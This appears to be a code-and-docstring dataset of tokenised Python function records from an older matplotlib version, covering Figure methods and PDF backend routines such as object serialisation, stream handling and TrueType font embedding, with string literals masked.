{"signature": "def get_figheight(self):", "body": "return self.bbox_inches.height<EOL>", "docstring": "Return the figheight as a float", "id": "f17210:c1:m18"}
{"signature": "def get_dpi(self):", "body": "return self.dpi<EOL>", "docstring": "Return the dpi as a float", "id": "f17210:c1:m19"}
{"signature": "def get_frameon(self):", "body": "return self.frameon<EOL>", "docstring": "get the boolean indicating frameon", "id": "f17210:c1:m20"}
{"signature": "def set_edgecolor(self, color):", "body": "self.patch.set_edgecolor(color)<EOL>", "docstring": "Set the edge color of the Figure rectangle\n\nACCEPTS: any matplotlib color - see help(colors)", "id": "f17210:c1:m21"}
{"signature": "def set_facecolor(self, color):", "body": "self.patch.set_facecolor(color)<EOL>", "docstring": "Set the face color of the Figure rectangle\n\nACCEPTS: any matplotlib color - see help(colors)", "id": "f17210:c1:m22"}
{"signature": "def set_dpi(self, val):", "body": "self.dpi = val<EOL>", "docstring": "Set the dots-per-inch of the figure\n\nACCEPTS: float", "id": "f17210:c1:m23"}
{"signature": "def set_figwidth(self, val):", "body": "self.bbox_inches.x1 = val<EOL>", "docstring": "Set the width of the figure in inches\n\nACCEPTS: float", "id": "f17210:c1:m24"}
{"signature": "def set_figheight(self, val):", "body": "self.bbox_inches.y1 = val<EOL>", "docstring": "Set the height of the figure in inches\n\nACCEPTS: float", "id": "f17210:c1:m25"}
{"signature": "def set_frameon(self, b):", "body": "self.frameon = b<EOL>", "docstring": "Set whether the figure frame (background) is displayed or invisible\n\nACCEPTS: boolean", "id": "f17210:c1:m26"}
{"signature": "def delaxes(self, a):", "body": "self.axes.remove(a)<EOL>self._axstack.remove(a)<EOL>keys = []<EOL>for key, thisax in self._seen.items():<EOL><INDENT>if a==thisax: del self._seen[key]<EOL><DEDENT>for func in self._axobservers: func(self)<EOL>", "docstring": "remove a from the figure and update the current axes", "id": "f17210:c1:m27"}
{"signature": "def _make_key(self, *args, **kwargs):", "body": "def fixitems(items):<EOL><INDENT>ret = []<EOL>for k, v in items:<EOL><INDENT>if iterable(v): v = tuple(v)<EOL>ret.append((k,v))<EOL><DEDENT>return tuple(ret)<EOL><DEDENT>def fixlist(args):<EOL><INDENT>ret = []<EOL>for a in args:<EOL><INDENT>if iterable(a): a = tuple(a)<EOL>ret.append(a)<EOL><DEDENT>return tuple(ret)<EOL><DEDENT>key = fixlist(args), fixitems(kwargs.items())<EOL>return key<EOL>", "docstring": "make a hashable key out of args and kwargs", "id": "f17210:c1:m28"}
{"signature": "def add_axes(self, *args, **kwargs):", "body": "key = self._make_key(*args, **kwargs)<EOL>if key in self._seen:<EOL><INDENT>ax = self._seen[key]<EOL>self.sca(ax)<EOL>return ax<EOL><DEDENT>if not len(args): return<EOL>if isinstance(args[<NUM_LIT:0>], Axes):<EOL><INDENT>a = args[<NUM_LIT:0>]<EOL>assert(a.get_figure() is self)<EOL><DEDENT>else:<EOL><INDENT>rect = args[<NUM_LIT:0>]<EOL>ispolar = kwargs.pop('<STR_LIT>', False)<EOL>projection = kwargs.pop('<STR_LIT>', None)<EOL>if ispolar:<EOL><INDENT>if projection is not None and projection != '<STR_LIT>':<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\" %<EOL>projection)<EOL><DEDENT>projection = '<STR_LIT>'<EOL><DEDENT>a = projection_factory(projection, self, rect, **kwargs)<EOL><DEDENT>self.axes.append(a)<EOL>self._axstack.push(a)<EOL>self.sca(a)<EOL>self._seen[key] = a<EOL>return a<EOL>", "docstring": "Add an a axes with axes rect [*left*, *bottom*, *width*,\n*height*] where all quantities are in fractions of figure\nwidth and height.  kwargs are legal\n:class:`~matplotlib.axes.Axes` kwargs plus *projection* which\nsets the projection type of the axes.  (For backward\ncompatibility, ``polar=True`` may also be provided, which is\nequivalent to ``projection='polar'``).  Valid values for\n*projection* are: %(list)s.  Some of these projections support\nadditional kwargs, which may be provided to :meth:`add_axes`::\n\n    rect = l,b,w,h\n    fig.add_axes(rect)\n    fig.add_axes(rect, frameon=False, axisbg='g')\n    fig.add_axes(rect, polar=True)\n    fig.add_axes(rect, projection='polar')\n    fig.add_axes(ax)   # add an Axes instance\n\nIf the figure already has an axes with the same parameters,\nthen it will simply make that axes current and return it.  If\nyou do not want this behavior, eg. you want to force the\ncreation of a new axes, you must use a unique set of args and\nkwargs.  The axes :attr:`~matplotlib.axes.Axes.label`\nattribute has been exposed for this purpose.  Eg., if you want\ntwo axes that are otherwise identical to be added to the\nfigure, make sure you give them unique labels::\n\n    fig.add_axes(rect, label='axes1')\n    fig.add_axes(rect, label='axes2')\n\nThe :class:`~matplotlib.axes.Axes` instance will be returned.\n\nThe following kwargs are supported:\n\n%(Axes)s", "id": "f17210:c1:m29"}
{"signature": "def add_subplot(self, *args, **kwargs):", "body": "kwargs = kwargs.copy()<EOL>if not len(args): return<EOL>if isinstance(args[<NUM_LIT:0>], SubplotBase):<EOL><INDENT>a = args[<NUM_LIT:0>]<EOL>assert(a.get_figure() is self)<EOL><DEDENT>else:<EOL><INDENT>ispolar = kwargs.pop('<STR_LIT>', False)<EOL>projection = kwargs.pop('<STR_LIT>', None)<EOL>if ispolar:<EOL><INDENT>if projection is not None and projection != '<STR_LIT>':<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\" %<EOL>projection)<EOL><DEDENT>projection = '<STR_LIT>'<EOL><DEDENT>projection_class = get_projection_class(projection)<EOL>key = self._make_key(*args, **kwargs)<EOL>if key in self._seen:<EOL><INDENT>ax = self._seen[key]<EOL>if isinstance(ax, projection_class):<EOL><INDENT>self.sca(ax)<EOL>return ax<EOL><DEDENT>else:<EOL><INDENT>self.axes.remove(ax)<EOL>self._axstack.remove(ax)<EOL><DEDENT><DEDENT>a = subplot_class_factory(projection_class)(self, *args, **kwargs)<EOL>self._seen[key] = a<EOL><DEDENT>self.axes.append(a)<EOL>self._axstack.push(a)<EOL>self.sca(a)<EOL>return a<EOL>", "docstring": "Add a subplot.  Examples:\n\n    fig.add_subplot(111)\n    fig.add_subplot(1,1,1)            # equivalent but more general\n    fig.add_subplot(212, axisbg='r')  # add subplot with red background\n    fig.add_subplot(111, polar=True)  # add a polar subplot\n    fig.add_subplot(sub)              # add Subplot instance sub\n\n*kwargs* are legal :class:`!matplotlib.axes.Axes` kwargs plus\n*projection*, which chooses a projection type for the axes.\n(For backward compatibility, *polar=True* may also be\nprovided, which is equivalent to *projection='polar'*). Valid\nvalues for *projection* are: %(list)s.  Some of these projections\nsupport additional *kwargs*, which may be provided to\n:meth:`add_axes`.\n\nThe :class:`~matplotlib.axes.Axes` instance will be returned.\n\nIf the figure already has a subplot with key (*args*,\n*kwargs*) then it will simply make that subplot current and\nreturn it.\n\nThe following kwargs are supported:\n\n%(Axes)s", "id": "f17210:c1:m30"}
{"signature": "def clf(self):", "body": "self.suppressComposite = None<EOL>self.callbacks = cbook.CallbackRegistry(('<STR_LIT>', ))<EOL>for ax in tuple(self.axes):  <EOL><INDENT>ax.cla()<EOL>self.delaxes(ax)         <EOL><DEDENT>toolbar = getattr(self.canvas, '<STR_LIT>', None)<EOL>if toolbar is not None:<EOL><INDENT>toolbar.update()<EOL><DEDENT>self._axstack.clear()<EOL>self._seen = {}<EOL>self.artists = []<EOL>self.lines = []<EOL>self.patches = []<EOL>self.texts=[]<EOL>self.images = []<EOL>self.legends = []<EOL>self._axobservers = []<EOL>", "docstring": "Clear the figure", "id": "f17210:c1:m31"}
{"signature": "def clear(self):", "body": "self.clf()<EOL>", "docstring": "Clear the figure -- synonym for fig.clf", "id": "f17210:c1:m32"}
{"signature": "def draw(self, renderer):", "body": "<EOL>if not self.get_visible(): return<EOL>renderer.open_group('<STR_LIT>')<EOL>if self.frameon: self.patch.draw(renderer)<EOL>for p in self.patches: p.draw(renderer)<EOL>for l in self.lines: l.draw(renderer)<EOL>for a in self.artists: a.draw(renderer)<EOL>composite = renderer.option_image_nocomposite()<EOL>if self.suppressComposite is not None:<EOL><INDENT>composite = self.suppressComposite<EOL><DEDENT>if len(self.images)<=<NUM_LIT:1> or composite or not allequal([im.origin for im in self.images]):<EOL><INDENT>for im in self.images:<EOL><INDENT>im.draw(renderer)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>mag = renderer.get_image_magnification()<EOL>ims = [(im.make_image(mag), im.ox, im.oy)<EOL>for im in self.images]<EOL>im = _image.from_images(self.bbox.height * mag,<EOL>self.bbox.width * mag,<EOL>ims)<EOL>im.is_grayscale = False<EOL>l, b, w, h = self.bbox.bounds<EOL>clippath, affine = self.get_transformed_clip_path_and_affine()<EOL>renderer.draw_image(l, b, im, self.bbox,<EOL>clippath, affine)<EOL><DEDENT>for a in self.axes: a.draw(renderer)<EOL>for t in self.texts: t.draw(renderer)<EOL>for legend in self.legends:<EOL><INDENT>legend.draw(renderer)<EOL><DEDENT>renderer.close_group('<STR_LIT>')<EOL>self._cachedRenderer = renderer<EOL>self.canvas.draw_event(renderer)<EOL>", "docstring": "Render the figure using :class:`matplotlib.backend_bases.RendererBase` instance renderer", "id": "f17210:c1:m33"}
{"signature": "def draw_artist(self, a):", "body": "assert self._cachedRenderer is not None<EOL>a.draw(self._cachedRenderer)<EOL>", "docstring": "draw :class:`matplotlib.artist.Artist` instance *a* only --\nthis is available only after the figure is drawn", "id": "f17210:c1:m34"}
{"signature": "def legend(self, handles, labels, *args, **kwargs):", "body": "handles = flatten(handles)<EOL>l = Legend(self, handles, labels, *args, **kwargs)<EOL>self.legends.append(l)<EOL>return l<EOL>", "docstring": "Place a legend in the figure.  Labels are a sequence of\nstrings, handles is a sequence of\n:class:`~matplotlib.lines.Line2D` or\n:class:`~matplotlib.patches.Patch` instances, and loc can be a\nstring or an integer specifying the legend location\n\nUSAGE::\n\n  legend( (line1, line2, line3),\n          ('label1', 'label2', 'label3'),\n          'upper right')\n\nThe *loc* location codes are::\n\n  'best' : 0,          (currently not supported for figure legends)\n  'upper right'  : 1,\n  'upper left'   : 2,\n  'lower left'   : 3,\n  'lower right'  : 4,\n  'right'        : 5,\n  'center left'  : 6,\n  'center right' : 7,\n  'lower center' : 8,\n  'upper center' : 9,\n  'center'       : 10,\n\n*loc* can also be an (x,y) tuple in figure coords, which\nspecifies the lower left of the legend box.  figure coords are\n(0,0) is the left, bottom of the figure and 1,1 is the right,\ntop.\n\nThe legend instance is returned.  The following kwargs are supported\n\n*loc*\n    the location of the legend\n*numpoints*\n    the number of points in the legend line\n*prop*\n    a :class:`matplotlib.font_manager.FontProperties` instance\n*pad*\n    the fractional whitespace inside the legend border\n*markerscale*\n    the relative size of legend markers vs. original\n*shadow*\n    if True, draw a shadow behind legend\n*labelsep*\n    the vertical space between the legend entries\n*handlelen*\n    the length of the legend lines\n*handletextsep*\n    the space between the legend line and legend text\n*axespad*\n    the border between the axes and legend edge\n\n.. plot:: mpl_examples/pylab_examples/figlegend_demo.py", "id": "f17210:c1:m36"}
{"signature": "def text(self, x, y, s, *args, **kwargs):", "body": "override = _process_text_args({}, *args, **kwargs)<EOL>t = Text(<EOL>x=x, y=y, text=s,<EOL>)<EOL>t.update(override)<EOL>self._set_artist_props(t)<EOL>self.texts.append(t)<EOL>return t<EOL>", "docstring": "Call signature::\n\n  figtext(x, y, s, fontdict=None, **kwargs)\n\nAdd text to figure at location *x*, *y* (relative 0-1\ncoords). See :func:`~matplotlib.pyplot.text` for the meaning\nof the other arguments.\n\nkwargs control the :class:`~matplotlib.text.Text` properties:\n\n%(Text)s", "id": "f17210:c1:m37"}
{"signature": "def gca(self, **kwargs):", "body": "ax = self._axstack()<EOL>if ax is not None:<EOL><INDENT>ispolar = kwargs.get('<STR_LIT>', False)<EOL>projection = kwargs.get('<STR_LIT>', None)<EOL>if ispolar:<EOL><INDENT>if projection is not None and projection != '<STR_LIT>':<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\" %<EOL>projection)<EOL><DEDENT>projection = '<STR_LIT>'<EOL><DEDENT>projection_class = get_projection_class(projection)<EOL>if isinstance(ax, projection_class):<EOL><INDENT>return ax<EOL><DEDENT><DEDENT>return self.add_subplot(<NUM_LIT>, **kwargs)<EOL>", "docstring": "Return the current axes, creating one if necessary\n\nThe following kwargs are supported\n%(Axes)s", "id": "f17210:c1:m39"}
{"signature": "def sca(self, a):", "body": "self._axstack.bubble(a)<EOL>for func in self._axobservers: func(self)<EOL>return a<EOL>", "docstring": "Set the current axes to be a and return a", "id": "f17210:c1:m40"}
{"signature": "def add_axobserver(self, func):", "body": "self._axobservers.append(func)<EOL>", "docstring": "whenever the axes state change, func(self) will be called", "id": "f17210:c1:m41"}
{"signature": "def savefig(self, *args, **kwargs):", "body": "for key in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if key not in kwargs:<EOL><INDENT>kwargs[key] = rcParams['<STR_LIT>'%key]<EOL><DEDENT><DEDENT>transparent = kwargs.pop('<STR_LIT>', False)<EOL>if transparent:<EOL><INDENT>original_figure_alpha = self.patch.get_alpha()<EOL>self.patch.set_alpha(<NUM_LIT:0.0>)<EOL>original_axes_alpha = []<EOL>for ax in self.axes:<EOL><INDENT>patch = ax.patch<EOL>original_axes_alpha.append(patch.get_alpha())<EOL>patch.set_alpha(<NUM_LIT:0.0>)<EOL><DEDENT><DEDENT>self.canvas.print_figure(*args, **kwargs)<EOL>if transparent:<EOL><INDENT>self.patch.set_alpha(original_figure_alpha)<EOL>for ax, alpha in zip(self.axes, original_axes_alpha):<EOL><INDENT>ax.patch.set_alpha(alpha)<EOL><DEDENT><DEDENT>", "docstring": "call signature::\n\n  savefig(fname, dpi=None, facecolor='w', edgecolor='w',\n          orientation='portrait', papertype=None, format=None,\n          transparent=False):\n\nSave the current figure.\n\nThe output formats available depend on the backend being used.\n\nArguments:\n\n  *fname*:\n    A string containing a path to a filename, or a Python file-like object.\n\n    If *format* is *None* and *fname* is a string, the output\n    format is deduced from the extension of the filename.\n\nKeyword arguments:\n\n  *dpi*: [ None | scalar > 0 ]\n    The resolution in dots per inch.  If *None* it will default to\n    the value ``savefig.dpi`` in the matplotlibrc file.\n\n  *facecolor*, *edgecolor*:\n    the colors of the figure rectangle\n\n  *orientation*: [ 'landscape' | 'portrait' ]\n    not supported on all backends; currently only on postscript output\n\n  *papertype*:\n    One of 'letter', 'legal', 'executive', 'ledger', 'a0' through\n    'a10', 'b0' through 'b10'. Only supported for postscript\n    output.\n\n  *format*:\n    One of the file extensions supported by the active\n    backend.  Most backends support png, pdf, ps, eps and svg.\n\n  *transparent*:\n    If *True*, the figure patch and axes patches will all be\n    transparent.  This is useful, for example, for displaying\n    a plot on top of a colored background on a web page.  The\n    transparency of these patches will be restored to their\n    original values upon exit of this function.", "id": "f17210:c1:m42"}
{"signature": "def subplots_adjust(self, *args, **kwargs):", "body": "self.subplotpars.update(*args, **kwargs)<EOL>import matplotlib.axes<EOL>for ax in self.axes:<EOL><INDENT>if not isinstance(ax, matplotlib.axes.SubplotBase):<EOL><INDENT>if ax._sharex is not None and isinstance(ax._sharex, matplotlib.axes.SubplotBase):<EOL><INDENT>ax._sharex.update_params()<EOL>ax.set_position(ax._sharex.figbox)<EOL><DEDENT>elif ax._sharey is not None and isinstance(ax._sharey, matplotlib.axes.SubplotBase):<EOL><INDENT>ax._sharey.update_params()<EOL>ax.set_position(ax._sharey.figbox)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ax.update_params()<EOL>ax.set_position(ax.figbox)<EOL><DEDENT><DEDENT>", "docstring": "fig.subplots_adjust(left=None, bottom=None, right=None, wspace=None, hspace=None)\n\nUpdate the :class:`SubplotParams` with *kwargs* (defaulting to rc where\nNone) and update the subplot locations", "id": "f17210:c1:m44"}
{"signature": "def ginput(self, n=<NUM_LIT:1>, timeout=<NUM_LIT:30>, show_clicks=True):", "body": "blocking_mouse_input = BlockingMouseInput(self)<EOL>return blocking_mouse_input(n=n, timeout=timeout,<EOL>show_clicks=show_clicks)<EOL>", "docstring": "call signature::\n\n  ginput(self, n=1, timeout=30, show_clicks=True)\n\nBlocking call to interact with the figure.\n\nThis will wait for *n* clicks from the user and return a list of the\ncoordinates of each click.\n\nIf *timeout* is zero or negative, does not timeout.\n\nIf *n* is zero or negative, accumulate clicks until a middle click\n(or potentially both mouse buttons at once) terminates the input.\n\nRight clicking cancels last input.\n\nThe keyboard can also be used to select points in case your mouse\ndoes not have one or more of the buttons.  The delete and backspace\nkeys act like right clicking (i.e., remove last point), the enter key\nterminates input and any other key (not already used by the window\nmanager) selects a point.", "id": "f17210:c1:m45"}
{"signature": "def waitforbuttonpress(self, timeout=-<NUM_LIT:1>):", "body": "blocking_input = BlockingKeyMouseInput(self)<EOL>return blocking_input(timeout=timeout)<EOL>", "docstring": "call signature::\n\n  waitforbuttonpress(self, timeout=-1)\n\nBlocking call to interact with the figure.\n\nThis will return True is a key was pressed, False if a mouse\nbutton was pressed and None if *timeout* was reached without\neither being pressed.\n\nIf *timeout* is negative, does not timeout.", "id": "f17210:c1:m46"}
{"signature": "def fill(strings, linelen=<NUM_LIT>):", "body": "currpos = <NUM_LIT:0><EOL>lasti = <NUM_LIT:0><EOL>result = []<EOL>for i, s in enumerate(strings):<EOL><INDENT>length = len(s)<EOL>if currpos + length < linelen:<EOL><INDENT>currpos += length + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>result.append('<STR_LIT:U+0020>'.join(strings[lasti:i]))<EOL>lasti = i<EOL>currpos = length<EOL><DEDENT><DEDENT>result.append('<STR_LIT:U+0020>'.join(strings[lasti:]))<EOL>return '<STR_LIT:\\n>'.join(result)<EOL>", "docstring": "Make one string from sequence of strings, with whitespace\n    in between. The whitespace is chosen to form lines of at most\n    linelen characters, if possible.", "id": "f17211:m0"}
{"signature": "def pdfRepr(obj):", "body": "<EOL>if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>return obj.pdfRepr()<EOL><DEDENT>elif isinstance(obj, float):<EOL><INDENT>if not npy.isfinite(obj):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>r = \"<STR_LIT>\" % obj<EOL>return r.rstrip('<STR_LIT:0>').rstrip('<STR_LIT:.>')<EOL><DEDENT>elif isinstance(obj, int):<EOL><INDENT>return \"<STR_LIT>\" % obj<EOL><DEDENT>elif is_string_like(obj):<EOL><INDENT>return '<STR_LIT:(>' + _string_escape_regex.sub(r'<STR_LIT>', obj) + '<STR_LIT:)>'<EOL><DEDENT>elif isinstance(obj, dict):<EOL><INDENT>r = [\"<STR_LIT>\"]<EOL>r.extend([\"<STR_LIT>\" % (Name(key).pdfRepr(), pdfRepr(val))<EOL>for key, val in list(obj.items())])<EOL>r.append(\"<STR_LIT>\")<EOL>return fill(r)<EOL><DEDENT>elif isinstance(obj, (list, tuple)):<EOL><INDENT>r = [\"<STR_LIT:[>\"]<EOL>r.extend([pdfRepr(val) for val in obj])<EOL>r.append(\"<STR_LIT:]>\")<EOL>return fill(r)<EOL><DEDENT>elif isinstance(obj, bool):<EOL><INDENT>return ['<STR_LIT:false>', '<STR_LIT:true>'][obj]<EOL><DEDENT>elif obj is None:<EOL><INDENT>return '<STR_LIT:null>'<EOL><DEDENT>elif isinstance(obj, datetime):<EOL><INDENT>r = obj.strftime('<STR_LIT>')<EOL>if time.daylight: z = time.altzone<EOL>else: z = time.timezone<EOL>if z == <NUM_LIT:0>: r += '<STR_LIT>'<EOL>elif z < <NUM_LIT:0>: r += \"<STR_LIT>\" % ((-z)//<NUM_LIT>, (-z)%<NUM_LIT>)<EOL>else: r += \"<STR_LIT>\" % (z//<NUM_LIT>, z%<NUM_LIT>)<EOL>return pdfRepr(r)<EOL><DEDENT>elif isinstance(obj, BboxBase):<EOL><INDENT>return fill([pdfRepr(val) for val in obj.bounds])<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\"% type(obj))<EOL><DEDENT>", "docstring": "Map Python objects to PDF syntax.", "id": "f17211:m1"}
{"signature": "def new_figure_manager(num, *args, **kwargs):", "body": "<EOL>FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>thisFig = FigureClass(*args, **kwargs)<EOL>canvas = FigureCanvasPdf(thisFig)<EOL>manager = FigureManagerPdf(canvas, num)<EOL>return manager<EOL>", "docstring": "Create a new figure manager instance", "id": "f17211:m2"}
{"signature": "def __init__(self, id, len, file, extra=None):", "body": "self.id = id            <EOL>self.len = len          <EOL>self.pdfFile = file<EOL>self.file = file.fh     <EOL>self.compressobj = None <EOL>if extra is None: self.extra = dict()<EOL>else: self.extra = extra<EOL>self.pdfFile.recordXref(self.id)<EOL>if rcParams['<STR_LIT>']:<EOL><INDENT>self.compressobj = zlib.compressobj(rcParams['<STR_LIT>'])<EOL><DEDENT>if self.len is None:<EOL><INDENT>self.file = StringIO()<EOL><DEDENT>else:<EOL><INDENT>self._writeHeader()<EOL>self.pos = self.file.tell()<EOL><DEDENT>", "docstring": "id: object id of stream; len: an unused Reference object for the\n        length of the stream, or None (to use a memory buffer); file:\n        a PdfFile; extra: a dictionary of extra key-value pairs to\n        include in the stream header", "id": "f17211:c3:m0"}
{"signature": "def end(self):", "body": "self._flush()<EOL>if self.len is None:<EOL><INDENT>contents = self.file.getvalue()<EOL>self.len = len(contents)<EOL>self.file = self.pdfFile.fh<EOL>self._writeHeader()<EOL>self.file.write(contents)<EOL>self.file.write(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>length = self.file.tell() - self.pos<EOL>self.file.write(\"<STR_LIT>\")<EOL>self.pdfFile.writeObject(self.len, length)<EOL><DEDENT>", "docstring": "Finalize stream.", "id": "f17211:c3:m2"}
{"signature": "def write(self, data):", "body": "if self.compressobj is None:<EOL><INDENT>self.file.write(data)<EOL><DEDENT>else:<EOL><INDENT>compressed = self.compressobj.compress(data)<EOL>self.file.write(compressed)<EOL><DEDENT>", "docstring": "Write some data on the stream.", "id": "f17211:c3:m3"}
{"signature": "def _flush(self):", "body": "if self.compressobj is not None:<EOL><INDENT>compressed = self.compressobj.flush()<EOL>self.file.write(compressed)<EOL>self.compressobj = None<EOL><DEDENT>", "docstring": "Flush the compression object.", "id": "f17211:c3:m4"}
{"signature": "def fontName(self, fontprop):", "body": "if is_string_like(fontprop):<EOL><INDENT>filename = fontprop<EOL><DEDENT>elif rcParams['<STR_LIT>']:<EOL><INDENT>filename = findfont(fontprop, fontext='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>filename = findfont(fontprop)<EOL><DEDENT>Fx = self.fontNames.get(filename)<EOL>if Fx is None:<EOL><INDENT>Fx = Name('<STR_LIT>' % self.nextFont)<EOL>self.fontNames[filename] = Fx<EOL>self.nextFont += <NUM_LIT:1><EOL><DEDENT>return Fx<EOL>", "docstring": "Select a font based on fontprop and return a name suitable for\nOp.selectfont. If fontprop is a string, it will be interpreted\nas the filename of the font.", "id": "f17211:c4:m6"}
{"signature": "def embedTTF(self, filename, characters):", "body": "font = FT2Font(str(filename))<EOL>fonttype = rcParams['<STR_LIT>']<EOL>def cvt(length, upe=font.units_per_EM, nearest=True):<EOL><INDENT>\"<STR_LIT>\"<EOL>value = length / upe * <NUM_LIT:1000><EOL>if nearest: return round(value)<EOL>if value < <NUM_LIT:0>: return floor(value)<EOL>else: return ceil(value)<EOL><DEDENT>def embedTTFType3(font, characters, descriptor):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>widthsObject = self.reserveObject('<STR_LIT>')<EOL>fontdescObject = self.reserveObject('<STR_LIT>')<EOL>fontdictObject = self.reserveObject('<STR_LIT>')<EOL>charprocsObject = self.reserveObject('<STR_LIT>')<EOL>differencesArray = []<EOL>firstchar, lastchar = <NUM_LIT:0>, <NUM_LIT:255><EOL>bbox = [cvt(x, nearest=False) for x in font.bbox]<EOL>fontdict = {<EOL>'<STR_LIT>'            : Name('<STR_LIT>'),<EOL>'<STR_LIT>'        : ps_name,<EOL>'<STR_LIT>'       : firstchar,<EOL>'<STR_LIT>'        : lastchar,<EOL>'<STR_LIT>'  : fontdescObject,<EOL>'<STR_LIT>'         : Name('<STR_LIT>'),<EOL>'<STR_LIT:Name>'            : descriptor['<STR_LIT>'],<EOL>'<STR_LIT>'        : bbox,<EOL>'<STR_LIT>'      : [ <NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:0> ],<EOL>'<STR_LIT>'       : charprocsObject,<EOL>'<STR_LIT>'        : {<EOL>'<STR_LIT>'        : Name('<STR_LIT>'),<EOL>'<STR_LIT>' : differencesArray},<EOL>'<STR_LIT>'          : widthsObject<EOL>}<EOL>from encodings import cp1252<EOL>if hasattr(cp1252, '<STR_LIT>'):<EOL><INDENT>def decode_char(charcode):<EOL><INDENT>return cp1252.decoding_map[charcode] or <NUM_LIT:0><EOL><DEDENT><DEDENT>else:<EOL><INDENT>def decode_char(charcode):<EOL><INDENT>return ord(cp1252.decoding_table[charcode])<EOL><DEDENT><DEDENT>def get_char_width(charcode):<EOL><INDENT>str = decode_char(charcode)<EOL>width = font.load_char(str, flags=LOAD_NO_SCALE|LOAD_NO_HINTING).horiAdvance<EOL>return cvt(width)<EOL><DEDENT>widths = [ get_char_width(charcode) for charcode in range(firstchar, lastchar+<NUM_LIT:1>) ]<EOL>descriptor['<STR_LIT>'] = max(widths)<EOL>cmap = font.get_charmap()<EOL>glyph_ids = []<EOL>differences = []<EOL>multi_byte_chars = set()<EOL>for c in characters:<EOL><INDENT>ccode = c<EOL>gind = cmap.get(ccode) or <NUM_LIT:0><EOL>glyph_ids.append(gind)<EOL>glyph_name = font.get_glyph_name(gind)<EOL>if ccode <= <NUM_LIT:255>:<EOL><INDENT>differences.append((ccode, glyph_name))<EOL><DEDENT>else:<EOL><INDENT>multi_byte_chars.add(glyph_name)<EOL><DEDENT><DEDENT>differences.sort()<EOL>last_c = -<NUM_LIT:2><EOL>for c, name in differences:<EOL><INDENT>if c != last_c + <NUM_LIT:1>:<EOL><INDENT>differencesArray.append(c)<EOL><DEDENT>differencesArray.append(Name(name))<EOL>last_c = c<EOL><DEDENT>rawcharprocs = ttconv.get_pdf_charprocs(filename, glyph_ids)<EOL>charprocs = {}<EOL>charprocsRef = {}<EOL>for charname, stream in list(rawcharprocs.items()):<EOL><INDENT>charprocDict = { '<STR_LIT>': len(stream) }<EOL>if charname in multi_byte_chars:<EOL><INDENT>charprocDict['<STR_LIT>'] = Name('<STR_LIT>')<EOL>charprocDict['<STR_LIT>'] = Name('<STR_LIT>')<EOL>charprocDict['<STR_LIT>'] = bbox<EOL>stream = stream[stream.find(\"<STR_LIT>\") + <NUM_LIT:2>:]<EOL><DEDENT>charprocObject = self.reserveObject('<STR_LIT>')<EOL>self.beginStream(charprocObject.id, None, charprocDict)<EOL>self.currentstream.write(stream)<EOL>self.endStream()<EOL>if charname in multi_byte_chars:<EOL><INDENT>name = self._get_xobject_symbol_name(filename, charname)<EOL>self.multi_byte_charprocs[name] = charprocObject<EOL><DEDENT>else:<EOL><INDENT>charprocs[charname] = charprocObject<EOL><DEDENT><DEDENT>self.writeObject(fontdictObject, fontdict)<EOL>self.writeObject(fontdescObject, descriptor)<EOL>self.writeObject(widthsObject, widths)<EOL>self.writeObject(charprocsObject, charprocs)<EOL>return fontdictObject<EOL><DEDENT>def embedTTFType42(font, characters, descriptor):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>fontdescObject = self.reserveObject('<STR_LIT>')<EOL>cidFontDictObject = self.reserveObject('<STR_LIT>')<EOL>type0FontDictObject = self.reserveObject('<STR_LIT>')<EOL>cidToGidMapObject = self.reserveObject('<STR_LIT>')<EOL>fontfileObject = self.reserveObject('<STR_LIT>')<EOL>wObject = self.reserveObject('<STR_LIT>')<EOL>toUnicodeMapObject = self.reserveObject('<STR_LIT>')<EOL>cidFontDict = {<EOL>'<STR_LIT>'           : Name('<STR_LIT>'),<EOL>'<STR_LIT>'        : Name('<STR_LIT>'),<EOL>'<STR_LIT>'       : ps_name,<EOL>'<STR_LIT>'  : {<EOL>'<STR_LIT>'   : '<STR_LIT>',<EOL>'<STR_LIT>'   : '<STR_LIT>',<EOL>'<STR_LIT>' : <NUM_LIT:0> },<EOL>'<STR_LIT>' : fontdescObject,<EOL>'<STR_LIT>'              : wObject,<EOL>'<STR_LIT>'    : cidToGidMapObject<EOL>}<EOL>type0FontDict = {<EOL>'<STR_LIT>'            : Name('<STR_LIT>'),<EOL>'<STR_LIT>'         : Name('<STR_LIT>'),<EOL>'<STR_LIT>'        : ps_name,<EOL>'<STR_LIT>'        : Name('<STR_LIT>'),<EOL>'<STR_LIT>' : [cidFontDictObject],<EOL>'<STR_LIT>'       : toUnicodeMapObject<EOL>}<EOL>descriptor['<STR_LIT>'] = fontfileObject<EOL>length1Object = self.reserveObject('<STR_LIT>')<EOL>self.beginStream(<EOL>fontfileObject.id,<EOL>self.reserveObject('<STR_LIT>'),<EOL>{'<STR_LIT>': length1Object})<EOL>fontfile = open(filename, '<STR_LIT:rb>')<EOL>length1 = <NUM_LIT:0><EOL>while True:<EOL><INDENT>data = fontfile.read(<NUM_LIT>)<EOL>if not data: break<EOL>length1 += len(data)<EOL>self.currentstream.write(data)<EOL><DEDENT>fontfile.close()<EOL>self.endStream()<EOL>self.writeObject(length1Object, length1)<EOL>cid_to_gid_map = ['<STR_LIT>'] * <NUM_LIT><EOL>cmap = font.get_charmap()<EOL>unicode_mapping = []<EOL>widths = []<EOL>max_ccode = <NUM_LIT:0><EOL>for c in characters:<EOL><INDENT>ccode = c<EOL>gind = cmap.get(ccode) or <NUM_LIT:0><EOL>glyph = font.load_char(ccode, flags=LOAD_NO_HINTING)<EOL>widths.append((ccode, 